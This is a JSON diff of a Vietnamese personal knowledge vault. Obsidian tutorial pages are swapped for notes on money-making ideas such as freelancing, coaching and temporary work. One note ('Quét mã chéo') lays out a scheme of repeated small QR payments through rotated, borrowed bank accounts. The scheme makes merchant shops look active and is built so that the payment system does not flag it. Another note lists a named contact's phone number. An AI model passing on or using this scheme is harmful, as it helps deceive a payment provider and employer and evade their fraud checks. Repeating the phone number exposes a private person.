tạo": "2023-06-10T05:00:00.000Z", - "Ngày cập nhật": "2023-10-06T09:09:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-08-27T07:10:00.000Z", "id": "73" }, { - "Tiêu đề": "1.1 Tạo vault mới", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/1 Làm quen với Obsidian/1.1 Tạo vault mới", - "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Tiêu đề": "Thỉnh thoảng lên công ty", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/1 Yêu cầu đầu vào/Theo thời gian/Thỉnh thoảng lên công ty", + "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Mã dự án": "C1" + "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Trong Obsidian, thư mục lớn nhất chứa tất cả các ghi chú cho một dự án được gọi là *vault*. Dịch nôm na là kho dữ liệu.\r\n\r\nHãy tạo vault đầu tiên cho dự án của bạn bằng cách bấm vào nút ![[Open another vault.png|30]] ở dưới thanh bên trái màn hình của bạn.\r\n\r\n![](https://forum.obsidian.md/uploads/default/original/3X/2/2/2210517675f2efd328409ba185d14ef0b35ac280.png) \r\n# [[1.2 Tạo ghi chú và thư mục mới]]➡️\r\n", + "Toàn bộ nội dung": "Khái niệm:: \r\n\r\nNguồn:: \r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-06T09:09:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-08-27T07:10:00.000Z", "id": "74" }, { - "Tiêu đề": "1.2 Tạo ghi chú và thư mục mới", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/1 Làm quen với Obsidian/1.2 Tạo ghi chú và thư mục mới", - "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Tiêu đề": "Làm ngoài đường", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/1 Yêu cầu đầu vào/Theo tính chất công việc/Làm ngoài đường", + "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Mã dự án": "C1" + "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# [[1.3 Tạo liên kết]]➡️\r\n", + "Toàn bộ nội dung": "Khái niệm:: \r\n\r\nNguồn:: \r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-06T09:09:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-08-27T07:10:00.000Z", "id": "75" }, { - "Tiêu đề": "1.3 Tạo liên kết", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/1 Làm quen với Obsidian/1.3 Tạo liên kết", - "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Tiêu đề": "Vốn", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/1 Yêu cầu đầu vào/Vốn", + "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Mã dự án": "C1" + "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Hãy ghi ra các mục tiêu của bạn dưới dạng liên kết\r\n# [[1.4 Xem và chỉnh sửa nội dung]]➡️\r\n", + "Toàn bộ nội dung": "```dataview\r\nLIST\r\nFROM \"📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng\" \r\nWHERE contains(yêu-cầu-đầu-vào, [[]])\r\n```\r\n\r\n[[Các dịch vụ cho vay]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-06T09:09:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-08-27T07:15:00.000Z", "id": "76" }, { - "Tiêu đề": "1.4 Xem và chỉnh sửa nội dung", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/1 Làm quen với Obsidian/1.4 Xem và chỉnh sửa nội dung", - "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Tiêu đề": "Chia sẻ, đào tạo, huấn luyện", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/2 Hình thức/Chia sẻ, đào tạo, huấn luyện", + "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Mã dự án": "C1" + "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "> [!Tip] Phím tắt\r\n> Ctrl + E\r\n\r\nBài đọc thêm:: \r\n\r\n# [[1.5 Định dạng chữ]]➡️\r\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-06T09:09:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-08-27T07:10:00.000Z", "id": "77" }, { - "Tiêu đề": "1.5 Định dạng chữ", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/1 Làm quen với Obsidian/1.5 Định dạng chữ", - "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Tiêu đề": "Gia công giải pháp", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/2 Hình thức/Gia công giải pháp", + "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Mã dự án": "C1" + "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# [[1.6 Tìm hiểu tự do]]➡️\r\n", + "Toàn bộ nội dung": "- Nghiên cứu người dùng, phát triển sản phẩm\n- Nắm bắt xu hướng mạng\n- Gom tất cả thông tin lại vào một chỗ\n- Tạo danh sách hạch toán hàng loạt vào các phần mềm kế toán\n- Tạo website\n- Tổng hợp những sự kiện sẽ diễn ra\n- Xây dựng mạng lưới đối tác, các bên liên quan \n\n---\nĐể một cá nhân, tổ chức cần thuê ngoài cần hội đủ các điều kiện sau đây:\n- Khách hàng cần phân loại, gắn nhãn, biến dữ liệu phi cấu trúc thành dữ liệu có cấu trúc\n- Khách hàng không tin tưởng kết quả phân loại của ChatGPT, hoặc thấy nó quá đắt hoặc bất tiện\n- Khách hàng không biết đến giải pháp phân loại tự động nào khác\n\nNgoài ra còn có thêm hai điều kiện về việc hợp tác thành công trên các trang tuyển dụng thời vụ tự do (freelance):\n- Khách hàng dành thời gian để đăng tin tuyển dụng \n- Những người rao bán dịch vụ nhập liệu như bạn không biết đến giải pháp phân loại tự động nào khác để bạn có thể cạnh tranh về giá\n\nNhư bạn thấy, càng nhiều điều kiện thì khả năng kiếm được tiền càng thấp đi. Càng bỏ được nhiều điều kiện, bạn càng có khả năng kiếm được tiền. \n\nĐể bỏ được hai điều kiện cuối cùng, bạn cần phải biết nhu cầu của khách hàng mà không cần họ phải đăng tin trên các trang tuyển dụng đó. Điều đó có thể xảy ra nếu:\n- Bạn thường xuyên theo dõi các thông báo tuyển dụng của họ trên website hoặc trang, nhóm Facebook\n- Bạn có sẵn mối quan hệ với họ, trực tiếp hoặc gián tiếp\n- Bạn chủ động nhắn tin hỏi về nhu cầu của họ\n- Bạn chủ động đăng tin sẵn sàng nhận làm việc này\n\n[Danh sách các công ty tuyển nhân viên nhập liệu](https://www.google.com/search?client=firefox-b-d&q=c%C3%B4ng+vi%E1%BB%87c+nh%E1%BA%ADp+li%E1%BB%87u&ibp=htl;jobs&sa=X&ved=2ahUKEwiutrePjqOEAxU3mVYBHTTIAR8Qkd0GegQIFRAB#fpstate=tldetail&htivrt=jobs&htiq=c%C3%B4ng+vi%E1%BB%87c+nh%E1%BA%ADp+li%E1%BB%87u&htidocid=omPcbeASS8_ch7MVAAAAAA%3D%3D&sxsrf=ACQVn0-AbylAiRPxZZKN5JAMa-LruGLo4w:1707648427622){ .md-button .md-button--primary }\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-06T09:09:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-08-27T07:10:00.000Z", "id": "78" }, { - "Tiêu đề": "1.6 Tìm hiểu tự do", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/1 Làm quen với Obsidian/1.6 Tìm hiểu tự do", - "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Tiêu đề": "Kiếm người cho tiền", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/2 Hình thức/Kiếm người cho tiền", + "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Mã dự án": "C1" + "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Chúc mừng bạn đã hoàn thành được mức 1. Hiện bạn đã có một vault dữ liệu sơ khai. Bạn có thể khám phá thêm các tính năng khác của Obsidian theo ý thích của mình\r\n```dataview\r\nList from \"⚔️ Lớp học/1 Làm quen với Obsidian\" \r\nWhere !contains(file.name,\"1\")\r\n```\r\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-06T09:09:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-08-27T07:10:00.000Z", "id": "79" }, { - "Tiêu đề": "Bật sidebar", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/1 Làm quen với Obsidian/➕ Nhiệm vụ bổ trợ/Bật sidebar", - "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Tiêu đề": "Tự kinh doanh, đầu tư", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/2 Hình thức/Tự kinh doanh, đầu tư", + "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Mã dự án": "C1" + "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Chèn ảnh. Chèn đoạn văn từ ghi chú khác]]\r\n", + "Toàn bộ nội dung": "Khái niệm:: \r\n\r\nNguồn:: \r\n\r\n\r\n[[Đặc trưng của các dự án B2B là phải giao thiệp]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-06T09:09:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-08-27T07:10:00.000Z", "id": "7A" }, { - "Tiêu đề": "Chèn ảnh. Chèn đoạn văn từ ghi chú khác", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/1 Làm quen với Obsidian/➕ Nhiệm vụ bổ trợ/Chèn ảnh. Chèn đoạn văn từ ghi chú khác", - "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Tiêu đề": "Việc làm thời vụ, theo dự án", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/2 Hình thức/Việc làm thời vụ, theo dự án", + "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Mã dự án": "C1" + "Mã dự án": "B2" }, "Nội dung bài đăng": { "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-06T09:09:00.000Z", + "Ngày tạo": "2024-06-22T11:55:00.000Z", + "Ngày cập nhật": "2024-08-27T07:10:00.000Z", "id": "7B" }, { - "Tiêu đề": "Khám phá canvas", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/1 Làm quen với Obsidian/➕ Nhiệm vụ bổ trợ/Khám phá canvas", - "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Tiêu đề": "Vị trí chính thức của một công ty", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/2 Hình thức/Vị trí chính thức của một công ty", + "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Mã dự án": "C1" + "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "Nếu cần Nhật có thể [[Làm nhân viên ảo]] trong công ty, còn bạn thì làm những công việc công ty giao cho Nhật. Có thể CV của Nhật sẽ giúp tăng khả năng nhận được việc.\r\n\r\nXem thêm:: [[Đối với công ty, nhân viên có cộng tác viên riêng, nhân viên ảo, người đại diện nhóm, bán việc là những cái tên khác nhau cho cùng một thứ]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-06T09:09:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-08-27T07:39:00.000Z", "id": "7C" }, { - "Tiêu đề": "Mở bảng lệnh", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/1 Làm quen với Obsidian/➕ Nhiệm vụ bổ trợ/Mở bảng lệnh", - "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Tiêu đề": "3 Ý tưởng", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng", + "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Mã dự án": "C1" + "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Mô tả bài đăng": "Kiếm tiền từ các hoạt động của Quả Cầu", + "Toàn bộ nội dung": "## Công việc thời vụ\n```dataview\nTable yêu-cầu-đầu-vào as \"Yêu cầu đầu vào\"\nFROM \"📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng/Công việc thời vụ\" \nWHERE file.name != this.file.name\n```\n\n## Các buổi chia sẻ, lớp học, khoá đào tạo, buổi huấn luyện\n```dataview\nTable yêu-cầu-đầu-vào as \"Yêu cầu đầu vào\"\nFROM \"📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng/Các buổi chia sẻ, lớp học, khoá đào tạo, buổi huấn luyện\" \nWHERE file.name != this.file.name\n```\n\n## Đi làm công ty\nHR: có template \n\n## Gia công giải pháp\n```dataview\nTable yêu-cầu-đầu-vào as \"Yêu cầu đầu vào\"\nFROM \"📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng/Gia công giải pháp\" \nWHERE file.name != this.file.name\n```\n\n## Tự kinh doanh, đầu tư\n```dataview\nTable yêu-cầu-đầu-vào as \"Yêu cầu đầu vào\"\nFROM \"📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng/Tự kinh doanh, đầu tư\" \nWHERE file.name != this.file.name\nSORT yêu-cầu-đầu-vào desc\n```\n## Nơi thảo luận\nTất cả các chủ đề có nhãn \"💸Tiền bạc\":\n![](https://i.imgur.com/4rJvMNB.png)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-06T09:09:00.000Z", + "Ngày tạo": "2023-11-24T09:59:00.000Z", + "Ngày cập nhật": "2024-08-27T09:07:00.000Z", "id": "7D" }, { - "Tiêu đề": "Thu gọn", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/1 Làm quen với Obsidian/➕ Nhiệm vụ bổ trợ/Thu gọn", - "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Tiêu đề": "Các buổi chia sẻ, lớp học, khoá đào tạo, buổi huấn luyện", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng/Các buổi chia sẻ, lớp học, khoá đào tạo, buổi huấn luyện", + "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Mã dự án": "C1" + "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Tính năng thu gọn văn bản là một công cụ rất mạnh để lập dàn ý và viết. Tính năng thu gọn cho phép bạn tập trung vào những gì bạn đang làm.\r\n\r\nĐể sử dụng tính năng thu gọn, hãy chuyển đến Settings (biểu tượng bánh răng ở bên trái) và bật `Fold indent` và `Fold heading` trong cài đặt trình chỉnh sửa.\r\n\r\nObsidian có khả năng thu gọn cả header markdown và danh sách thụt lề. Lưu ý rằng ở đầu ghi chú này có một mũi tên chỉ xuống bên cạnh tiêu đề. Nếu được nhấn vào, nó sẽ thu gọn toàn bộ ghi chú lên, và nếu được nhấn lại, nó sẽ hiển thị ghi chú. Điều này có thể được áp dụng ở nhiều cấp độ markdown, cũng như nhiều cấp độ thụt lề trong danh sách.\r\n\r\n## Ví dụ\r\n\r\n1. Hạng mục sự vật\r\n 1. Một danh mục con\r\n 1. Một danh mục con khác\r\n 1. Ví dụ về một mặt hàng\r\n 1. Một mục khác, quan trọng như nhau.\r\n", + "Toàn bộ nội dung": "Yêu cầu đầu vào:: [[Có tên tuổi, uy tín, chứng nhận]]\r\nHình thức:: [[Chia sẻ, đào tạo, huấn luyện]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-06T09:09:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-08-27T07:10:00.000Z", "id": "7E" }, { - "Tiêu đề": "Tạo tên phụ cho từng ghi chú", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/1 Làm quen với Obsidian/➕ Nhiệm vụ bổ trợ/Tạo tên phụ cho từng ghi chú", - "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Tiêu đề": "Huấn luyện lập trình 1-1", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng/Các buổi chia sẻ, lớp học, khoá đào tạo, buổi huấn luyện/Huấn luyện lập trình 1-1", + "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Mã dự án": "C1" + "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Bạn hẳn đã biết cách chỉnh tên ghi chú rồi (phím tắt F2). Nhưng nếu bạn muốn một ghi chú có nhiều tên khác nhau thì sao? `alias` chính là câu trả lời cho bạn.\r\n", + "Toàn bộ nội dung": "Yêu cầu đầu vào:: [[Có tên tuổi, uy tín, chứng nhận]]\r\nYêu cầu đầu vào:: [[Biết lập trình]]\r\nHình thức:: [[Chia sẻ, đào tạo, huấn luyện]]\r\n\r\n- Chạy thống kê\r\n- Cào web\r\n- Hệ thống quản lý kiến thức\r\n- Kiểm soát phiên bản (version control)\r\n- Nhập sự kiện vào Google Calendar\r\n- Phân loại dữ liệu tự động\r\n- Truy vấn dữ liệu\r\n- Tạo web tĩnh\r\n- Tạo đồ thị mạng lưới\r\n- Tự động hoá các công việc lặp đi lặp lại\r\n- Viết plugin, app script\r\n- WYSIWYM (LaTeX) \r\n- Xác định các chủ đề có trong ngữ liệu\r\n- Xây dựng hệ thống quản lý, báo cáo nhu cầu các bên\r\n- Tạo liên kết UTM rút gọn nhanh chóng\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-06T09:09:00.000Z", + "Ngày tạo": "2024-07-30T06:32:00.000Z", + "Ngày cập nhật": "2024-08-27T07:10:00.000Z", "id": "7F" }, { - "Tiêu đề": "Đổi giao diện", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/1 Làm quen với Obsidian/➕ Nhiệm vụ bổ trợ/Đổi giao diện", - "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Tiêu đề": "Hướng dẫn tìm hiểu các lĩnh vực", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng/Các buổi chia sẻ, lớp học, khoá đào tạo, buổi huấn luyện/Hướng dẫn tìm hiểu các lĩnh vực", + "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Mã dự án": "C1" + "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "![](https://raw.githubusercontent.com/SlRvb/Obsidian--ITS-Theme/main/Images/Theme-DnD-WOTC--Lightmode.png)\r\n", + "Toàn bộ nội dung": "Yêu cầu đầu vào:: [[Có tên tuổi, uy tín, chứng nhận]]\nHình thức:: [[Chia sẻ, đào tạo, huấn luyện]]\n\n- Công cụ nghĩ, nhận thức tăng cường\n- Hệ thống niềm tin\n- Phát triển bền vững\n- Phát triển sản phẩm\n- Quản lý dự án nghiên cứu hoặc phi lợi nhuận độc lập\n- Khoa học nhận thức\n- Tâm lý\n- Triết học\n- Vật lý\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-06T09:09:00.000Z", + "Ngày tạo": "2024-07-30T06:32:00.000Z", + "Ngày cập nhật": "2024-08-27T09:44:00.000Z", "id": "7G" }, { - "Tiêu đề": "📖 2 chế độ chỉnh sửa nội dung", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/1 Làm quen với Obsidian/📖 Bài đọc thêm/📖 2 chế độ chỉnh sửa nội dung", - "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Tiêu đề": "Chạy sự kiện, hậu cần, truyền thông, shipper, telesale, BPO", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng/Công việc thời vụ/Chạy sự kiện, hậu cần, truyền thông, shipper, telesale, BPO", + "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Mã dự án": "C1" + "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Có 2 chế độ chỉnh sửa nội dung:\r\n- Source mode:\r\n- Live preview mode:\r\n\r\n![](https://publish-01.obsidian.md/access/f786db9fac45774fa4f0d8112e232d67/Attachments/Editor%20update%20chart.png) \r\n\r\n", + "Toàn bộ nội dung": "Cần người làm truyền thông cho [[Tạo sinh kế, thu nhập, dòng tiền|Các ý tưởng kiếm tiền từ các hoạt động của Quả Cầu]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-10T05:00:00.000Z", - "Ngày cập nhật": "2023-10-06T09:09:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-08-27T07:10:00.000Z", "id": "7H" }, { - "Tiêu đề": "2 Xây dựng dự án với plugin", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/2 Xây dựng dự án với plugin/2 Xây dựng dự án với plugin", - "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Tiêu đề": "Quét mã chéo", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng/Công việc thời vụ/Cộng tác viên cho nhân viên công ty/Quét mã chéo", + "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Mã dự án": "C1" + "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Mô tả:: Thao tác được tốt Obsidian\r\n# [[2.1 Cài plugin]] ➡️\r\n", + "Toàn bộ nội dung": "Yêu cầu đầu vào:: [[Có nhiều tài khoản hoặc thẻ ngân hàng]]\n\n## Mỗi mã QR cần được quét 13 lần\n- Mỗi giao dịch phải ít nhất 20k. Mỗi cửa hàng cần tối thiểu 13 giao dịch để được công nhận là đang hoạt động\n- Mỗi cửa hàng có một mã QR. Mỗi giao dịch là một lần quét mã QR đó\n- Nghĩa là với mỗi mã QR cần được quét 13 lần, mỗi lần 20-25k. Tổng cộng mỗi mã tốn tầm 300k. 10 mã là 130 lần quét với số tiền là 3tr\n## Mỗi tài khoản ngân hàng chỉ được quét 1 lần/1 buổi/1 mã/1 nhân viên công ty\n- Một ngày chia làm 3 buổi sáng, trưa, chiều. Chỉ có 3 khung giờ này vì các cửa hàng đều là ăn uống. Không quét đêm được vì các cửa hàng đều đã đóng cửa\n- Chỉ được phép có tối đa 2 tài khoản ngân hàng (TK) trùng tên\n- Mỗi nhân viên công ty (NV) sẽ có 10 mã QR\n- Mỗi TK chỉ được quét 1 lần/1 buổi/1 mã/1 NV. Mục đích là để hệ thống không thắc mắc vì sao chỉ có đúng một TK cho các cửa hàng mở bởi một NV. Các buổi khác nhau có thể dùng lại TK đó để quét lại mã đó\n\nMột người có thể dùng nhiều TK để quét trong một buổi để tiết kiệm thời gian nếu mượn được TK của người khác \n## Tính toán\n### Nếu có 10 mã của 1 NV (130 lần quét) \n- 1 TK chỉ quét được 1 lần/buổi, 3 lần/ngày. Tổng cộng 43 ngày\n- 5 TK sẽ quét được 15 lần/ngày. Tổng cộng 14 ngày\n- 10 TK sẽ quét được 30 lần/ngày. Tổng cộng 5 ngày\n- 15 TK sẽ quét được 45 lần/ngày. Tổng cộng 3 ngày\n### Nếu có 20 mã của 2 NV (260 lần quét) \n- 1 TK chỉ quét được 2 lần/buổi, 6 lần/ngày. Tổng cộng 43 ngày\n- 5 TK sẽ quét được 10 lần/buổi, 30 lần/ngày. Tổng cộng 9 ngày\n- 10 TK sẽ quét được 20 lần/buổi, 60 lần/ngày. Tổng cộng 5 ngày\n- 15 TK sẽ quét được 30 lần/buổi, 90 lần/ngày. Tổng cộng 3 ngày\n## Quy trình làm việc\nMọi thứ sẽ nhanh hơn nếu:\n- Để nhiều mã cùng hiện ra trên màn hình lap, \n- Cài đặt vân tay,\n- Xếp các app theo thứ tự trên một màn hình chủ\n\nTốn thời gian nhất là phải chuyển app. Chứ quẹt xong mã này nó có ngay nút khác để quẹt sang mã khác. Nên cái này có lẽ càng có nhiều NV ảo càng có nhiều mã để quẹt cùng lúc, thì hiệu quả quẹt sẽ càng tăng\n\n> [!NOTE] Thời gian quét\n> Giả sử 10 giây quét xong một lần, thì quét 30 lần tốn 300 giây, tức 5 phút. Đó là lý thuyết. Thử nghiệm lần đầu cho thấy tốn 13 lần quẹt trong 15 phút.\n\n> [!attention] Các ngân hàng không làm tốt với VNPAY\n> - **Shinhan**, **TP**, **VP** không ghi rõ tên giao dịch với cửa hàng nào khi quẹt VNPAY, dù vẫn chuyển được\n> - **Kiên Long** không quẹt được VNPAY, dù quẹt TK ngân hàng bình thường khác vẫn được. MSB có thể được, cần kiểm tra lại\n> \n> Xem thêm:: [[Ghi chú về các app ngân hàng]]\n\n![](https://i.imgur.com/Q7KcLn6.png)\n\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-06T09:09:00.000Z", + "Ngày tạo": "2024-06-25T06:20:00.000Z", + "Ngày cập nhật": "2024-08-27T09:43:00.000Z", "id": "7I" }, { - "Tiêu đề": "2.1 Cài plugin", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/2 Xây dựng dự án với plugin/2.1 Cài plugin", - "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Tiêu đề": "Viết hợp đồng, thu thập thông tin", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng/Công việc thời vụ/Cộng tác viên cho nhân viên công ty/Viết hợp đồng, thu thập thông tin", + "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Mã dự án": "C1" + "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Hãy tải và kích hoạt (enable) các plugin sau:\r\n- Dataview \r\n- Templater (tạo file mẫu) \r\n- Various Complement (gõ tắt) \r\n- Better Inline Fields\r\n# [[2.2 Tạo biến và dùng biến với (Dataview tập 1)]]➡️\r\n\r\n`=this.file.folder`\r\n", + "Toàn bộ nội dung": "- **Liên hệ:** 0777850094 - Lộc Nguyễn\n## Viết hợp đồng\n## Dò sđt cửa hàng trong app \n- **Yêu cầu:** ghi thông tin cửa hàng ra theo mẫu có sẵn\n- **Tiền công:** 50k/h ngày làm 5h, 1h 6 cửa hàng, ngày làm tối thiểu 30 cửa hàng\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-06T09:09:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-08-27T09:43:00.000Z", "id": "7J" }, { - "Tiêu đề": "2.2 Tạo biến và dùng biến với (Dataview tập 1)", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/2 Xây dựng dự án với plugin/2.2 